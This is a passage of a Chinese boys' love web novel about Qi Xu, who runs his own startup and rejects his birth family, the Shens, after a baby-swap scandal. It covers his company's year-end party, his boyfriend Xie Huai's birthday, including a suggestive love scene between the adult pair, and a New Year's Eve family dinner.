这么多天他都没有出现,部分想吃这个新闻红利的记者跋山涉水前往M城,被有先见之明的谢淮买断了所有的报道。 最后记者也只有抓着沈氏隐瞒换子之事使劲儿薅,引起了众多吃瓜群众对沈氏的不满。 网上戚栩的照片也只有在Q大新生军训公众号那几张背景图。 李恺兴还以为戚栩这段时间会在家里办公,谁知这还没几天就回公司了。 绑架之事和其中的弯弯绕绕普通人无法得知,也不知道沈家换子被爆出会牵扯这么多人。 戚栩跟着他们进电梯:“老板不回公司还能去哪里?” 哇,说得好有道理,李恺兴八卦地问:“最近这几天你都在谢少那?” 视频会议的时候没少在画面里看到谢淮的身影,连迟来的苏珂浩都知道老板有个男朋友,正在热恋中。 戚栩嗯了一声:“在他那里避避风头。” 许久未回过公司的的戚栩一出现在云瑞,立即引起瞩目,老板每个人都见过,但没见过被狸猫换太子的老板。 平时李恺兴在公司就没个正经样,这会儿却严肃地告知众人:“老板的帅气看看可以,别拍照,要是让我知道谁拍照发上网,又或者第二天有记者出现在公司楼梯下,别怪我约谈。” 戚栩拍了拍他的肩膀说:“没那么严重,我出现在公众避免不了被拍。” 随后他转头对员工们说:“就是你们被采访的时候多说我一点好话,什么最大方的老板,最有人性的老板,也给我们云瑞宣传一下。” 员工们都是从云瑞建立就在,算是开国元老,大半年时间他们也清楚云瑞的待遇,在外的公司没一家比得上云瑞,他们也不想丢了工作。 纷纷说着。 “老板你放心吧,我们绝对不会往外说一句,那些记者像丧尸一样,我可不想我们云瑞被围。” “快过年了,我也想安心上完这个班然后放假躺平。” “我等着公司的年终奖金呢,没那么多闲心。” 戚栩笑了下:“放心,年会奖品必定丰富,大家敬请期待。” 员工们听到戚栩的话忍不住欢呼起来,他们普通人可不管什么豪门之事,年终奖和假期才是他们所期待。 戚栩进办公室前让李恺兴把高层都叫过来。 除了苏珂浩之外,最近还新聘请了一个营销部经理,云瑞发展迅速,两层的规模对云瑞来说被限制了。 “年后我打算把楼上创智的楼层租下来,你们对此有什么意见尽管提。” 李恺兴以为戚栩叫他们进来是汇报项目近况,谁知一上来就买楼,有这种家底丰厚的老板多爽啊。 “没任何意见,创智是不是旺我们啊,他们破产我们发展,贺总前两天还和我说再会,他跳槽到隔壁大厂了,分部的位置还没坐稳。” 钟艾明知道创智破产的内情,没有声张,只是说:“创智破产连违约租金都没付,还有部分员工的薪酬也拖欠着,事情还没有得到解决,我怕有心人会上楼闹事。” 苏珂浩觉得钟艾明说的话不无道理:“后续牵连确实是个问题,创智现在官司缠身,现在楼下时不时还有他们的员工闹事,楼下被租,只有楼上空着,如果不租的话,我们只能到其他地方高楼分部,同一个园区还好,但不是同一个工业区就有些麻烦。” 营销部经理是在场最年长的,拥有丰富的就业经验:“我们租下楼上需要招聘大量员工,而且在年后这个招聘大潮时期,创智和云瑞是同类型的公司,我觉得不需要担心闹事,我们开放应聘,招聘的人很大可能都是被创智解雇的员工。” 李恺兴点头认同:“年后确实是应聘大潮,我的不少同学年前辞职,年后找工作。” 几位高层各抒己见,最后定下了租楼的决策。 李恺兴更是立下豪言壮志,助云瑞做强做大,说得像黑某会一样。 最后被钟艾明用文件拍着脑袋出去,苏珂浩和营销经理劝着。 戚栩靠着椅背神情轻松,全然没有前世在沈氏那样的压抑。 云瑞是完全属于他自己的产业,从零到一,再到一步一步前进,那种满足感是从来没有的。 他都有点期待云瑞做大做强,对未来充满期望。 办公室送走几位高层,戚栩一个星期不来一个客人的办公室迎来一位不速之客。 由前台打内部电话到助理办公室,说有一位姓沈的先生来访。 助理一听沈先生来访立即进戚栩办公室通报,戚栩头也没抬就说不见。 沈枫凯直接坐在了前台的等候区等着,沈枫凯最近几天多次出现在电视新闻,经过的员工都认出了他,不免多看几眼。 戚栩得知此事,便让沈枫凯进来。 沈家人多次给戚栩发信息,无一例外都石沉大海。 戚栩又被谢淮给藏起来,他们别无他法,连谢家都拜访过好几次,直到谢老和沈老爷子外出度假,他们都没问出地址。 沈枫凯进办公室的时候戚栩收起了桌上的文件,一副见客人的模样:“沈先生,不请自来是不是不太礼貌,我记得云瑞和沈氏好像没有业务来往吧。” 沈枫凯无疑对戚栩此时的态度心情复杂,不好受,同时又觉得这是应该的,是他们沈家对不住他。 “抱歉,我知道突然来打扰你不太好,我只是想来看看你。” 在被绑架的别墅见过惊险的一面,沈枫凯没有再见过戚栩。 沈枫凯把绑架一事如实地告诉沈家夫妇,当时无比的惊心动魄,两人吓得脸都白了,更是担心不已。 戚栩说:“现在看完了吧,是不是可以走了。” 沈枫凯难得没有发脾气,甚至有些温柔:“沈氏过段时间要开股东大会,你要来参加吗?爷爷不是说要把股份给你,沈氏你可以完全接手,我也可以听你指挥。” 这话听到戚栩鸡皮疙瘩都起来,前世和他斗得死去活来的沈枫凯心甘情愿把沈氏拱手相让。 要是在前世他肯定要,但现在沈氏对他来说就是个烫手山芋,等着他来接盘呢。 “沈枫凯,我发现你真的听不懂人话,我已经说过很多次,沈氏对我来说还没一碟酸甜排骨有诱惑力,我要来干什么,还有,请别再打扰我的生活,我的生活有你们才是最糟糕的。” 沈枫凯的心钝痛,眼前是他的亲弟弟,他一次都没有好好对待过的亲弟弟,差点死于非命的亲弟弟。 “既然你不想我们打扰你,那我们就不打扰了,如果有什么困难,我们是你的家人,能帮我们一定会帮你。” 戚栩冷漠地看着他没说话,沈枫凯莫名地想起谢淮之前的那一番话,是你们沈家把他抛弃的。 是啊,是他们亲手把戚栩越推越远,远到想要他回来的时候才发现他已经被爱他的人守护着。 沈枫凯离开之后给曾云打了个电话,他语气平淡:“妈,我们给了他不可逆的伤害,无论怎么补偿也弥补不了我们对他所做的事。” 曾云在电话那头哭着说:“如果小栩回沈家的那天,我们把调换的真相公之于众,是不是就不会造就今天这个地步。” 沈枫凯沉默了两秒:“不会有如果,也不会有重来。” 第92章 第 92 章 谢淮的生日在年二十七, 这天也是云瑞的年会,年二十八就是新年假期的第一天,为期十天的新年假期。 李恺兴提前一个月在沐尼订了宴会厅, 这可是首都数一数二的星级大酒店。 哦, 他老板男朋友的家族产业,他也不是故意定在那里,有小宴会厅的酒店没多少个,其中沈氏和沐尼为主,沈氏被钟艾明一票否决, 他只能定沐尼。 公司年会和男朋友的生日聚会聚集在同一天,不需要选择,因为男朋友陪他参加公司年会。 这件事被徐亦辰得知, 连call八百个电话过来,戚栩日理万机,忙着扩展云瑞宏图, 没徐少这么有闲心,开完会过后才回他电话。 这个电话注定不会很快结束, 所以戚栩得做完手头上的事才回复。 他们几个瞒着谢淮,建了一个生日惊喜群。 上一次蒋子慕生日的时候也是同一个操作,五个人数也数不清其他人背着自己在外有多少个群。 戚栩打开群聊把手机放在一边, 徐亦辰第一个进来,方倩和蒋子慕紧跟其后。 “今年阿淮跟你参加年会, 谢家应该不打算举办生日宴了, 我还记得阿淮18岁成人礼, 有人偷摸爬墙进来, 为了见秦家两老一面,你不知道状况那叫一个激烈, 好在被保镖及时发现。” 还有不少浑水摸鱼进宴会,记者更是把酒店给围了,目的是为了拍出谢家新一代继承人的成人礼盛况。 经徐亦辰一提,戚栩想起上一世谢淮的19岁生日聚会,当时举办的地点在谢家,规模不大,只有亲朋好友,他也没看见秦家人。 要是如徐亦辰所说谢淮18岁成人礼有过这么一遭,理应要低调。 不过这一世,谢淮提前和谢家说过,今年不用为他举办生日宴会,以及往后的生日只想家人好友聚会,并不想大张旗鼓。 戚栩当时在他大腿上躺着,听着谢淮打电话说这一件事。 听过这个电话戚栩才知道谢家大张旗鼓为他举办宴会是让谢淮吸纳谢家的人脉,为以后继承谢氏做准备。 谢淮和谢秦两家存在对赌,谢淮继承谢氏不在四年的计划中,在取消生日宴会这件事中谢家对此无法用理由反驳。 戚栩饶有兴致地听三人说着当年谢淮的成人礼,徐亦辰率先反应过来戚栩不在场,连忙停了这个话题。 “戚栩,你没准备什么惊喜吗?比如一场盛大的求婚。” 戚栩失笑不已:“徐少,我们俩还没有到合法结婚的年龄,而且在一起第一个生日就求婚,以后过的每一个生日比不上第一个生日。” 方倩说:“别听他胡说八道,自己准备了两年的情书前两天才给我,还好意思教别人谈恋爱。” 徐亦辰:“……” 怎么当场掀台呢。 蒋子慕这会儿还是懵的:“什么情书?辰哥,你的情书为什么要给表姐,是让她给其他人吗?给谁啊。” 其他三人:“……” 徐亦辰不得不开口解释,并带着一丝得意洋洋:“子慕,你该改口叫我表姐夫了。” “哦。”蒋子慕虽呆,但下意识地说,“不是要付改口费吗?什么时候给。” 徐亦辰倒吸了一口凉气:“你这爱财是跟戚栩学的吧,倒是相传一脉。” 蒋子慕还挺会算:“以后你们四个结婚是不是得邀请我当伴郎,淮哥,栩哥,辰哥,表姐,这样算下来我收伴郎辛苦费比我画画还赚钱。” 戚栩诚挚地告诉他:“蒋大师,请你专注画画事业,这些当个副业就行。” 开玩笑,他以后还等着收蒋子慕的画廊门票费用。 徐亦辰依旧好奇戚栩给谢淮准备了什么惊喜,私下追问着他。 戚栩说了一句无可奉告,并附赠一句少儿不宜,然后徐亦辰彻底闭嘴了。 谢淮生日当天,一睁眼行程就很满。 一向起得比他晚的戚栩竟然在他睁眼的时候已经醒了,戚栩见他起来眼底升起笑意:“生日快乐。” 昨晚凌晨一过,戚栩是第一个和他说生日快乐的人,闭眼睁眼都是同一个人,谢淮不由来地感到幸福,觉得心里很满。 戚栩没什么和别人庆祝生日的经验,他连自己的生日都会不记得,工作之后还是李恺兴和助理提醒他,只是他也不过生日,每年都是以加班结束。 他知道生日要吃长寿面,按照今日两人的行程,也只有早餐吃面。 活了两辈子戚栩的厨艺还是没有长进,虽说穷人的孩子早当家,他利用周末的时间打工,节约时间随便应付一口,18岁之后回到沈家,不缺那一口吃的钱,在吃的方面没亏待过自己。 这一世和谢淮在一起之后,别说厨房了,有时候连进浴室都是被人抱着进去。 戚栩站在厨房看着正在准备早餐的谢淮,摸了摸鼻子问:“生日吃方便面是不是不太好,主要我怕我的厨艺让你开启不太美妙的一天,生日进医院不太吉利。” 谢淮说:“没有不好,你做的都好。” 戚栩多嘴问了一句:“我为你做过什么了,就说好。” 谢淮环着戚栩,扯着他身后的围裙绳子:“**,围裙底下应该什么都不穿。” 戚栩:“……” “别在你生日的时候逼我揍你。” 谢淮帮着系上了围裙的绳子,原封不动。 既然寿星公都这样说了,戚栩就开始煮方便面,心想,这应该是谢家少爷长这么大第一次在生日当天吃方便面。 方便面没什么难度,最重要吃不死人,戚栩也放宽了心。 “你想吃什么口味?” 谢淮被瞪着警告了一番,随后笑着说:“番茄牛肉吧。” 戚栩为了把长寿面弄得更丰富,放了新鲜的番茄和牛肉片,最后出锅的时候还摆了个碟,面上放着谢淮煎的蛋,看着像那么一回事。 今天戚栩的早餐还是寿星公谢淮做的,戚栩吃着谢淮煮的粥问:“好吃吗?” 谢淮点头:“好吃,你尝尝。” 说着谢淮分出一大碗面给戚栩,吃到最后谢淮吃着戚栩没吃完的粥,而戚栩吃着长寿面,也不知道今日是谁生日。 午饭,谢淮回秦家用餐。 谢淮不打算举办生日宴,秦家人齐聚,权当是为谢淮庆祝生日。 秦越一见谢淮独自回来,不开哪壶提哪壶:“一个人回来啊,戚栩呢,不愿意和你回来?” 秦老和秦老夫人不动声色地往后外孙身后看,两位老人以为自己掩藏得非常好,不知被后辈看在眼里。 谢淮扫了小舅一眼,对方朝他使了眼神,他不吃这套:“他忙,在公司。” 秦缓思握着谢淮的手说:“忙也要吃饭,小栩喜欢吃甜的,等会打包份炖品送过去。” 这次参加家宴都是秦家直系,也没有那么多旁系小孩这么热闹,秦靖只有一儿一女,一个高中一个初中。 他们都知道表哥交了个男朋友,也知道表哥为此对抗着秦家,两人从小把谢淮当成榜样,如今更是站在他这边,平时没少为谢淮探秦家两老的口风。 秦表弟故意问:“妈,桌上是不是多了一副碗筷,谁还要来?” 秦越偷摸地给他竖起一个拇指。 谢廷曜和秦缓思交换了一个眼神,一切都在不言之中。 秦老爷子从鼻子哼声,却没说什么话,一旁的秦老夫人让人把多出来的碗筷收起起来。 落座之后,秦靖才问:“既然不举行生日宴会,今晚有什么安排?” 谢淮如实告知:“陪戚栩参加他们公司的年会。” 秦老爷子听说那个小子自己创办了公司,还有声有色,装作不感兴趣地问:“谢氏和他们公司有合作?” “没有合作,我以他的家属出席年会。”谢淮丝毫没有觉得自己说得有什么问题,甚至还有点自豪。 秦老爷子圆了眼睛,他们秦家孩子什么东西没见过,自小见过最好的,他从来没有听过他外孙以这种语气说话,像是在向他们炫耀。 秦越习惯了谢淮这个模样,从那日让他退回5000的香炉钱就有迹可循。 “你去参加个什么劲儿?去拉低别人的中奖率。” 谢淮说:“去宣示主权,怎么,羡慕?” 秦越:“……” 秦缓思扯了扯自家儿子,让他低调一点,长辈还在这。 家宴结束,谢淮收了不少礼物,实体礼物留着回家拆,收到的生日红包当着秦家人的面第一时间全部转给戚栩。 谢廷曜满意地点头,不愧是他的儿子,有他的作风。 秦老到底是没说什么,秦靖扶着他到书房的时候听到他问:“你也是他们那边的。” 秦靖嘴上说着:“我站在您这边。” 秦老冷笑:“别以为我知道你让你家那两个小的有事没事就到我这边普及什么同性恋不是病,我当然知道不是病,用得着你说。” 秦靖没反驳,只是说:“我已经准备好过年红包了。” 秦老怒瞪着自家大儿子,驰骋官场多年,归来仍然孤立无援。 戚栩收到谢淮转账的时候正在和李恺兴在办公室说事。 李恺兴眼睁睁地看着自家老板桌上的手机一秒大几十万的进账,晃眼回到当初来找他合伙的那天。 你们有钱人分分钟钟动不动就上百万流水。 戚栩给谢淮发信息询问,得知是生日红包,让他保管。 李恺兴继续说年会的事:“今晚谢少也来是吧,我需要做什么准备吗?” 戚栩反问:“需要做什么准备?” “比如我让助理在他的位置放上总裁夫人的牌子,又或者为他开一下后门,让他在年会上中奖,觉得自己今晚很幸运,有个好的体验感。” 说完李恺兴发现戚栩靠着椅背笑了起来,他是说什么可笑的话吗。 戚栩垂着眼睛,嘴角的弧度微微上扬:“不用特意给他制造好运的错觉,因为今天他将会有一个前所未有的体验。” 第93章 第 93 章 谢淮出现在云瑞的年会瞬间引起了所有员工的目光, 何况他还站在他们云瑞总裁的身边。 看气质和相貌一定不是普通人,合作方,还是戚总的朋友, 不说别的, 帅哥身边站着另一个帅哥果真赏心悦目。 原本他们还在讨论今晚的奖品有什么,现在直接讨论帅哥。 “谁啊,看起来和李总监也很熟的样子,戚总的朋友吗?” “不知道啊,放假前让我看到这个级别的帅哥, 明天春运回家我都充满活力了,铁锭能行。” 越来越多人坐了过来参与讨论,人都是八卦群体。 “我进来的时候听到沐尼的总经理喊那人谢少, 该不会是谢氏的少东家吧。” 众人露出惊讶的眼神,谁人不知谢氏企业,几乎垄断了行业, 坐稳商业龙头的位置。 “别忘了,咱们戚总是沈家少爷, 和谢少爷是朋友这不是很正常。” “你别说是,这两人一同走进来,身后还跟着李总监他们, 我总觉得自己参加的是婚宴。” 有好事者问:“新郎有了,新娘在哪里?” 那人没好意思说是两位新郎的婚礼, 这种想法只能存在脑子里, 一旦说出来传到老板的耳里, 怕工作不保。 云瑞的高层和谢淮打招呼, 通过李恺兴的介绍,他们有都认识了这位谢家少东家。 苏珂浩和谢淮握手:“谢少。” 谢淮点了点头:“苏经理。” 戚栩带着谢淮入座, 苏珂浩转头就问李恺行:“谢少爷要入股云瑞,实地考察我们云瑞的规模?” 李恺兴走在后头:“你的脑子除了入股还有什么,别说我不提点你,谢少是以家属的身份出席。” 苏柯浩心中了然,哦,沐尼是谢氏的产业,派了少东家过来,不就是家属的身份。 云瑞的年会菜品也是下了重本,员工辛辛苦苦了大半年,创业初期连轴加班,待遇是不错,但在一年一度的年会上,大家见到海鲜和各种高级食材,不免惊讶一番。 李恺行在台上拿着麦克风说:“吃了我们云瑞的年夜饭就是我们云瑞的人,日后认准云瑞,李总监带你们吃香喝辣的。” 好有江湖气的一番话,不知道的还以为他们云瑞是什么帮派。 又上去丢人现眼,最后李恺兴被钟艾明给撵下来。 全场哄堂大笑。 戚栩看着他们的打闹,靠在椅背也跟着笑了出来,直到碗里多了一只剥好的虾。 他嘴角还带着笑意,凑到谢淮面前说:“家属今晚过来是专门给我剥虾?” 家属脸不红心不跳地说:“过来服侍你。” 戚栩可是记得面前的人今天生日,夹起碗里的虾放到谢淮的嘴边:“你先吃。” 谢淮垂眸:“试毒?” 戚栩抿了下嘴:“是啊,想毒哑你这张嘴。” 谢淮咬下戚栩筷子上的虾,然后重新给他再剥了一只。 大庭广众之下两人也没遮掩,同桌的苏珂浩看到这一幕愣了下,转头看了一眼已经回到座位的李恺兴,正常不过的神情。 他再看了眼钟艾明,更是疑惑地和他对视。 是谁有问题一眼便知。 苏珂浩以为自己喝醉了,不是,他酒还没有喝呢。 所以当所有人拿着酒去敬戚栩的时候,他是喝得最凶的那个。 戚栩可谓是来者不拒,面色不改地全部喝下。 只不过到了戚栩极限的时候,谢淮扣住了他的手,自然地接过他手上的酒杯,对面前的人说:“抱歉,你们戚总醉了,这杯我替他喝,不介意吧。” 那人对上谢淮的凌厉的眼神,酒醒了半分,甩着头说:“不介意。” 苏珂浩拿着酒杯又来了:“谢少,久仰大名,欢迎来到咱们云瑞的年会,今晚玩得开心。” 谢淮和他碰杯仰头一饮而尽。 苏珂浩拢共给谢淮敬了好几杯酒,非常豪爽地全都喝完。 之后的人来敬酒都是谢淮替戚栩喝,醉了半分的戚栩只是坐在位置上默默地看着,眼神里有种喝醉了好办事的感觉。 抽奖是年会中最让人期待的一个环节,李恺兴还是想给谢淮黑幕,谁知头一转,戚总和他的家属不见了。 此时台上滚动着特等奖的号码,屏幕停在了28,主持人在喊着恭喜28号获得特等奖,8888现金大奖。 主持人喊了几声都没人出来认领,李恺兴瞅见空了的位置上有两张纸,鬼使神差地打开看了一眼。 28号正是谢淮的号码,似乎不同他黑幕,今天的谢少好运到不得了。 苏珂浩看到他手上的号码,连忙说:“谢少和戚总去哪了,赶紧给他们打个电话让他们回来领奖。” 李恺兴是个有眼力见的,让人给谢淮领奖,对苏珂浩说:“你管人家去哪里,你也是不知死活,竟然当着戚总的面给谢少灌这么多酒。” 苏珂浩不明所以:“来者是客,我这不是提前搞好关系,说不定以后有项目合作。” 李恺兴嗤笑了一声:“人家小情侣还用得着你搞好关系。” 苏珂浩被雷劈了的模样,不可置信地看着钟艾明:“你也知道?” 钟艾明点了点头:“知道。” 苏珂浩看向一旁的营销部经理,后者张了张嘴巴:“刚知道,我去洗手间的时候看到他们两人搂着进了电梯,我可没灌人家酒啊。” 全场最没眼力见的人就是他,苏珂浩有些担心自己的年终奖会不会被扣。 戚栩被灌了几杯酒,脸上有一丝醉意,被谢淮搂着腰上车。 两人一上车,陈威直接把挡板给升起来。 谢淮看了一眼挡板,下一秒戚栩主动跨坐在他的腿上,半跪在后排毫无征兆地吻上来。 戚栩勾着谢淮的脖子,将人压在椅背,掌握着主动权,轻而易举地撬开了他的双唇。 谢淮起初还没有反应过来,在戚栩吻上来的一瞬任由摆布,顺从地受着。 不知道是谁喝醉,等这个吻结束之时,两人脸上都有醉意。 谢淮在戚栩的唇上细细地磨:“生日礼物现在就开始?” 戚栩眉眼间染上几分醉意,挑着眉笑起来时很明媚:“前菜。” 坦然又直白,让谢淮无比期待正餐的惊喜。 戚栩直起身又去亲他,见谢淮气息没什么变化:“谢少海量,怎么一点都不见醉,那天和我告白是在装醉吧。” 莫名其妙地秋后算账了。 谢淮心里动了一下,喉咙滚了滚:“没有装醉,碰到你就自然而然地醉了,你比酒更醉人。” 戚栩贴着他问:“我哪里最醉人。” 谢淮在无数杯酒面前面色如常,如今在戚栩面前气息已经变得不稳:“浑身上下。” 戚栩歪了下头,轻声道:“今晚让你玩个够好不好。” 醉他个天荒地老,天地不知何物,只识你我。 谢淮隐隐地克制着,挡板升上去,车窗却并非单向玻璃,车在路途中,他没有不想让任何人见到戚栩赤裸的模样。 后排的温度不断升高,谢淮的隐忍全表现在戚栩衬衫那几颗崩坏的纽扣上,还有戚栩的手串戴在谢淮手腕上。 戚栩还在不知死活地撩拨:“不是说让我一辈子戴着不摘下来,怎么到你手上了。” 话音刚落,车子停了下来。 戚栩怔愣了下,怎么这么快就到家了,还没玩够。 谢淮淡定地把戚栩从腿上抱下来,为他穿上大衣戴上围巾,不让一丝冷风透入他的身体,戚栩难得像个玩偶任他摆弄。 而谢淮像个坐怀不乱的正人君子,甚至如果你觉得冷他还会贴心地脱下外套为你披上。 但不能细看,大衣没有扣上纽扣,围巾更是随便绕了几圈,皮带更是已经解开了一半,很容易被脱下。 陈威目不斜视看着挡风玻璃,感受后排的门开了又关上,瞬间扬长而去。 两人回家的时间正是一栋楼的叔叔阿姨散步归家,他们都知道戚栩和谢淮兄弟两,Q大高材生后生有为。 谢淮很有礼貌地向电梯里的人打招呼,戚栩却看到了他眼神深不见底,让他感到难以预料的危险。 暴风雨来临之际总归风平浪静。 叔叔阿姨们到了楼层下楼,电梯门闭合,戚栩的手被很用力地拽着,被拉着走出电梯时,根本跟不上谢淮的脚步。 滴答,指纹锁解开,进门时戚栩反客为主搂住谢淮:“抱我,去客厅。” 连灯都来不及开,谢淮单手稳稳地托着戚栩的大腿。 从玄关走到客厅,大衣,围巾,皮带,已然躺在地板上。 谢淮看到餐桌摆好了一个生日蛋糕和点好了蜡烛,声音低沉:“烛光晚餐?那晚餐呢。” 明知故问,戚栩不得不答,用鼻子蹭着他的发丝:“远在天边近在眼前。” 戚栩被放置在桌面,谢淮拧开酒瓶倒上红酒。 戚栩悬空的脚有一下没一下地踢着谢淮,接过他递过来的餐前品酒。 谢淮知道戚栩喜好白葡萄酒,现在确是红酒。 “为什么是红酒?” 在烛光的摇曳下,戚栩的眸光亮了亮:“红酒喜庆,想和你喝交杯酒。” 前一秒还在年会上发言备受瞩目的一个人,此刻在家里对他说想喝合卺酒。 谢淮的心砰砰跳着,没出息地再次心动。 他似乎说错了,戚栩不是没有长情丝,而是一旦长了情丝就有无数飞蛾扑火,只是这份情丝注定缠绕在他的身边。 就算不缠绕着他,他也会紧紧环绕着,围成一个密不透风的安全地带,让它缠在自己身上。 两手交缠,两人垂眸,各自郑重地抿了一口红酒。 随后他抬眸看着谢淮,莫名地想起前世那杯没有敬成的酒,如今却变成了交杯酒。 谢淮准确地捕捉到了戚栩的出神,已经好久没有见过他这个眼神,透过他去看某个人。 谢淮极其不爽:“不要想其他,就想我。” 戚栩随意晃着酒杯:“是在想你。” 他哪里见不到谢淮眼里的情绪,故意忽略,在蛋糕上插好蜡烛,捧起来:“许愿吧。” 谢淮闭上眼睛,好一会儿才睁开吹蜡烛。 他问:“吃蛋糕吗?” 戚栩反问:“你想吃吗?” 谢淮的眼底汹涌,看着有点凶。 戚栩不紧不慢地拿起酒杯喝了一大口酒,然后覆在谢淮的唇上。 唇舌交缠,没来得及咽下的红酒顺着戚栩的脖颈流到衬衫,染红湿透的的衬衫紧贴在戚栩身上。 谢淮扫过一眼隐晦不明,还没走到房间礼物的绑带就被一一解开。 谢淮看到卧室床上的一幕更是呼吸一重,满床的红玫瑰,像是入洞房的喜被。 整份礼物被压倒在一片玫瑰中,几片花瓣飘落在地上。 红酒,玫瑰淡淡的香味,以及戚栩自身散发出的诱人的气息,都让谢淮上瘾。 两侧的床褥下陷,戚栩的双手被一只青筋突显的手按在头顶,手串再次物归原主。 细碎的红玫瑰花瓣铺满了床,戚栩的后背,双膝,浑身上下沾染了红玫瑰,鲜红,白皙交错着,造就了一种无比瑰丽的视觉冲击。 只有谢淮一个人能看。 23点59分59秒,戚栩抬起湿透了眼皮失神地看向谢淮。 “生日快乐。” 当第一个和你说生日快乐的人,也做最后一个和你说生日快乐的人。 承诺永远,一辈子。 头顶的灯光摇曳地更快,谢淮的答复藏匿在一下下欢愉中,带着空气都在微微颤动。 第94章 第 94 章 戚栩侧躺在谢淮的怀里, 沉沉地睡着,裸露的肩头处处留下吻痕,一丝。不挂。 谢淮食髓知味, 顺着戚栩耳后的皮肤吻下去, 光滑的后背线条让人迷恋,温热的掌心揉弄着他的后腰。 戚栩被玩醒了,眼皮沉重,懒得睁开眼睛,嗓音沙哑:“出去。” 人还没醒, 下半身传来不可忽视的触感,一整晚还是清晨,不得而知。 太过火了, 太疯狂了,昨晚两人近乎失控,无法控制。 戚栩眼睫挂着生理泪水被一一吻掉, 周而复始,直到他再也忍不住逃跑, 被握住了脚踝拽回来。 力量悬殊,戚栩第一次恨自己懒惰,运动时间三天打鱼两天晒网, 还有怎么吃也吃不胖的体质。 谢淮抓着他的手放在腹部,俯身咬着他的耳朵说:“宝宝。” 不知是不是若有所指, 反正谢淮没放过他。 戚栩的身体还残留着淡淡的玫瑰花味道, 谢淮听话地退了出去, 又重新抱住他。 前段时间的药膳补品在昨晚交代完毕, 得亏戚栩还处在18岁身强体壮时期,补一补就回来。 戚栩想转身去看不知脸皮是何物的谢淮, 昨天是他的生日,今天可不是,这账是要算的。 生日礼物回归当家做主,戚栩转身时手掌一个不小心擦过谢淮的下巴,像是给了他一巴掌似的。 谢淮抓着戚栩的手放在嘴边,笑了笑:“宝宝,打我用点力。” 戚栩:“……” “别让我听到这两个叠词。” 说着戚栩撑起身子拍了拍他的脸:“明天开始你睡回自己的房间。” 谢淮一顿,垂眸顺从地接受:“多久?” 戚栩冷哼:“看你表现,抱我去洗漱。” 戚栩默许了谢淮拿自己的睡衣穿在他身上,能穿就行,遮挡住红痕斑驳的躯体。 洗漱是在谢淮房间的浴室,昨晚睡觉也是在他的房间。 戚栩的主卧昨晚被那一遭弄得不堪入目。 价值十几万的大床实在没眼看,尽数的玫瑰花瓣被压出汁液,被单上的每一处像是扎染一般,杂夹着细碎的玫瑰花和另类绽放的花朵。 平时家里都是由家政清洁,外人踏入房间一看就知道昨晚发生了什么,简直让人面红耳赤。 所以房间是谢淮收拾的,大少爷把床单被套上的玫瑰花清理干净,然后塞进了洗衣机。 戚栩在沙发上看着谢淮走到玄关,捡起昨晚他一路丢落下来的衣物,继而又收拾昨晚撒了红酒的餐桌,好一个贤夫形象。 猫咪从客厅的窝里出来,跳上了戚栩的腿上。 昨晚两人跌跌撞撞进门,把胆小的布偶吓了一跳,站在沙发上看着交缠在一起的两人,本想跟着进房间,被谢淮放手关上门,拒之门外。 一个晚上猫咪只能孤零零的地在客厅睡觉,这会儿看到谢淮不在戚栩身边,再次霸占了他的位置。 不出意外,谢淮床上的位置一直被猫咪霸占到年二十九。 除夕夜戚栩回了老宅,谢淮也回到谢家老宅,各自回家吃年夜饭。 沈老爷子度假回来的晚上,也就是昨晚,和沈卓海一家在外用餐,权当和二儿子一家吃年夜饭。 这件事戚栩知情,沈老爷子提前和他说了,他心如止水,尽管他不把他们当家人,沈卓海是老爷子的儿子,这是事实。 沈老爷子处处站在他的角度为他着想,生怕委屈了他,单是老爷子站在沈氏的对立面亲手把调换的丑闻曝光这一事就让他震惊。 戚栩不知道前晚饭局的情况,只知道他回到老宅的侧院看到一桌子的礼物。 李叔跟着进来,一边说一边观察戚栩的表情:“这是先生和夫人昨晚让人送过来的礼物。” 戚栩懒得再看,直接说:“拿去变现吧,捐给儿童慈善组织。” 李叔不意外戚栩的做法,叫人全部搬走。 年夜饭是和沈卓宏一家用餐,沈梓炀年前跟着妈妈出国和外祖父待了一段时间,刚回来就迫不及待地黏着戚栩。 沈梓炀的亲姐姐,戚栩的堂姐看不下去,说道:“沈梓炀,过完年你六岁了,要上小学了,能不能不要那么粘人,你哥都被你黏到吃不了饭。” 沈梓炀自小就想要一个哥哥,整天缠着他妈让她生个哥哥,但她妈妈告诉他生出来的是弟弟或妹妹,他被现实给打败了。 谁知一回国就多了个哥哥,还是个帅气哥哥,他拿着这些年攒下来的零花钱想把哥哥带回家,被莫名地告知这些钱还不够。 至于是谁告诉他,当然是哥哥的哥哥,所以这次他回外祖父家又收到了不少红包,打算带哥哥回家。 沈梓炀听话地拉开了椅子:“哥哥,你先吃饭。” 戚栩觉得奇怪,怎么几天没见变得这么懂事。 他摸了摸沈梓炀的脑袋:“吃完饭带去你放烟花。” 这是戚栩回到沈家第一个年夜饭,菜品是他喜欢的,如果没有摆放在他面前那一炖盅,那一切都如此美好。 沈老爷子察觉到他嫌弃的眼神,说道:“阿淮说你前几天感冒了,虽然不是什么大事,你的身体还得要调理。” 戚栩已经知道谢淮在老爷子面前是告状精,这人怎么不说说自己对他干了什么事,才让他感冒。 压在窗台来了几次,冷热交替,不感冒才不正常。 戚栩想了想,把有难同当进行到底:“他也感冒了,李叔,送一碗药膳过去吧。” 沈老爷子瞪着他说:“他怎么感冒了,你别为了不喝药膳找借口。” 戚栩回:“睡一个被窝,我感冒他能不感冒吗?” “……” 全场寂静,戚栩说完之后才想起来没捂着未成年的耳朵。 同一个时间,谢家老宅也在吃年夜饭。 沈家佣人捧着一碗炖汤进来之时,谢淮像是已经猜到这碗东西是什么。 “谢少爷感冒了,少爷让我给你送药膳。” 秦缓思疑惑地问:“阿淮,你感冒了?” 谢淮给面子地转头咳嗽了一声:“嗯,感冒了。” 年夜饭结束,两家人为小朋友和大朋友准备了烟花。 沈梓炀是最开心的,名义上,小朋友只有他一个。 谢淮从家里出来见到戚栩和沈梓炀玩得很欢喜,小孩手里拿着仙女棒围着戚栩转圈圈,像只充满电的电子小狗。 戚栩则是为了不扰兴致,半张脸都埋在了围巾上,缩着手晃悠着仙女棒。 他看到谢淮过来,连忙把手里的东西塞到他手里。 谢淮转手递给他一个暖宝宝,摸到他的手冰凉:“出来多久了。” 戚栩说:“吃完饭就出来了,小孩子的精力怎么这么好。” 只见沈梓炀放完烟花,又让人陪着他一起堆雪人。 沈梓炀走过来拉着戚栩的手:“哥哥,去堆雪人。” 晚上的气温在零下,沈梓炀的母亲对他放养教育,穿着防水套装就把小孩丢出来玩。 小孩子仿佛不觉得冷。 戚栩还没说话,谢淮说:“我陪你去。” 